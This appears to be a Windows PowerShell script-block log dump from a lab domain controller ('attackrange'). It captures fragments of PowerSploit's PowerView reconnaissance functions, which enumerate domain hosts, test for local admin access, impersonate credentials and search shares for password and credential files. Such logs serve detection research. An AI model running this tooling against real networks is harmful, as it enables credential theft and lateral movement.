4104152150x02372938Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11Find-LocalAdminAccess2703051c-ebf9-44bc-ae1d-0be49f717c0f 4104132150x02372882Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3741meter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $CreationTime, [Parameter(ParameterSetName = 'OfficeDocs')] [Switch] $OfficeDocs, [Parameter(ParameterSetName = 'FreshEXEs')] [Switch] $FreshEXEs, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-InterestingDomainShareFile] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $SearchShares = @() if ($TargetComputer.StartsWith('\\')) { # if a share is passed as the server $SearchShares += $TargetComputer } else { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # get the shares for this host and display what we find $Shares = Get-NetShare -ComputerName $TargetComputer ForEach ($Share in $Shares) { $ShareName = $Share.Name $Path = '\\'+$TargetComputer+'\'+$ShareName # make sure we get a real share name back if (($ShareName) -and ($ShareName.Trim() -ne '')) { # skip this share if it's in the exclude list if ($ExcludedShares -NotContains $ShareName) { # check if the user has access to this path try { $Null = [IO.Directory]::GetFiles($Path) $SearchShares += $Path } catch { Write-Verbose "[!] No access to $Path" } } } } } } ForEach ($Share in $SearchShares) { Write-Verbose "Searching share: $Share" $SearchArgs = @{ 'Path' = $Share 'Include' = $Include } if ($OfficeDocs) { $SearchArgs['OfficeDocs'] = $OfficeDocs } if ($FreshEXEs) { $SearchArgs['FreshEXEs'] = $FreshEXEs } if ($LastAccessTime) { $SearchArgs['LastAccessTime'] = $LastAccessTime } if ($LastWriteTime) { $SearchArgs['LastWriteTime'] = $LastWriteTime } if ($CreationTime) { $SearchArgs['CreationTime'] = $CreationTime } if ($CheckWriteAccess) { $SearchArgs['CheckWriteAccess'] = $CheckWriteAccess } Find-InterestingFile @SearchArgs } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken } } else { Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'Include' = $Include 'ExcludedShares' = $ExcludedShares 'OfficeDocs' = $OfficeDocs 'ExcludeHidden' = $ExcludeHidden 'FreshEXEs' = $FreshEXEs 'CheckWriteAccess' = $CheckWriteAccess 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Find-LocalAdminAccess { <# .SYNOPSIS Finds machines on the local domain where the current user has local administrator access. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and for each computer it checks if the current user has local administrator access using Test-AdminAccess. If -Credential is passed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. Idea adapted from the local_admin_search_enum post module in Metasploit written by: 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>' 'Royce Davis "r3dy" <rdavis[at]accuvant.com>' .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER CheckShareAccess Switch. Only display found shares that the local user has access to. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-LocalAdminAccess Finds machines in the current domain the current user has admin access to. .EXAMPLE Find-LocalAdminAccess -Domain dev.testlab.local Finds machines in the dev.testlab.local domain the current user has admin access to. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-LocalAdminAccess -Domain testlab.local -Credential $Cred Finds machines in the testlab.local domain that the user with the specified -Credential has admin access to. .OUTPUTS String Computer dnshostnames the current user has administrative access to. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([String])] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Switch] $CheckShareAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-LocalAdminAccess] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # check if the current user has local admin access to this server $Access = Test-AdminAccess -ComputerName $TargetComputer if ($Access.IsAdmin) { $TargetComputer } } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken } } else { Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -Compud123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1 4104152150x02372599Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11Find-LocalAdminAccessce14e184-d0b3-42d3-81b5-28e349636f6d 4104132150x0715345Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local5055 .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER CheckShareAccess Switch. Only display found shares that the local user has access to. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-LocalAdminAccess Finds machines in the current domain the current user has admin access to. .EXAMPLE Find-LocalAdminAccess -Domain dev.testlab.local Finds machines in the dev.testlab.local domain the current user has admin access to. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-LocalAdminAccess -Domain testlab.local -Credential $Cred Finds machines in the testlab.local domain that the user with the specified -Credential has admin access to. .OUTPUTS String Computer dnshostnames the current user has administrative access to. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([String])] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Switch] $CheckShareAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-LocalAdminAccess] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # check if the current user has local admin access to this server $Access = Test-AdminAccess -ComputerName $TargetComputer if ($Access.IsAdmin) { $TargetComputer } } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken } } else { Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } } function Find-DomainLocalGroupMember { <# .SYNOPSIS Enumerates the members of specified local group (default administrators) for all the targeted machines on the current (or specified) domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and enumerates the members of the specified local group (default of Administrators) for each machine using Get-NetLocalGroupMember. By default, the API method is used, but this can be modified with '-Method winnt' to use the WinNT service provider. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER GroupName The local group name to query for users. If not given, it defaults to "Administrators". .PARAMETER Method The collection method to use, defaults to 'API', also accepts 'WinNT'. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainLocalGroupMember Enumerates the local group memberships for all reachable machines in the current domain. .EXAMPLE Find-DomainLocalGroupMember -Domain dev.testlab.local Enumerates the local group memberships for all reachable machines the dev.testlab.local domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred Enumerates the local group memberships for all reachable machines the dev.testlab.local domain using the alternate credentials. .OUTPUTS PowerView.LocalGroupMember.API Custom PSObject with translated group property fields from API results. PowerView.LocalGroupMember.WinNT Custom PSObject with translated group property fields from WinNT results. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.LocalGroupMember.API')] [OutputType('PowerView.LocalGroupMember.WinNT')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [String] $GroupName = 'Administrators', [ValidateSet('API', 'WinNT')] [Alias('CollectionMethod')] [String] $Method = 'API', [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Do38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1 4104132150x0715344Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local4955 .PARAMETER OfficeDocs Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) .PARAMETER FreshEXEs Switch. Find .EXEs accessed within the last 7 days. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-InterestingDomainShareFile Finds 'interesting' files on the current domain. .EXAMPLE Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local') Finds 'interesting' files on readable shares on the specified systems. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword) Find-DomainShare -Domain testlab.local -Credential $Cred Searches interesting files in the testlab.local domain using the specified alternate credentials. .OUTPUTS PowerView.FoundFile #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.FoundFile')] [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [Alias('SearchTerms', 'Terms')] [String[]] $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), [ValidateNotNullOrEmpty()] [ValidatePattern('\\\\')] [Alias('Share')] [String[]] $SharePath, [String[]] $ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'), [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastAccessTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastWriteTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $CreationTime, [Parameter(ParameterSetName = 'OfficeDocs')] [Switch] $OfficeDocs, [Parameter(ParameterSetName = 'FreshEXEs')] [Switch] $FreshEXEs, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if 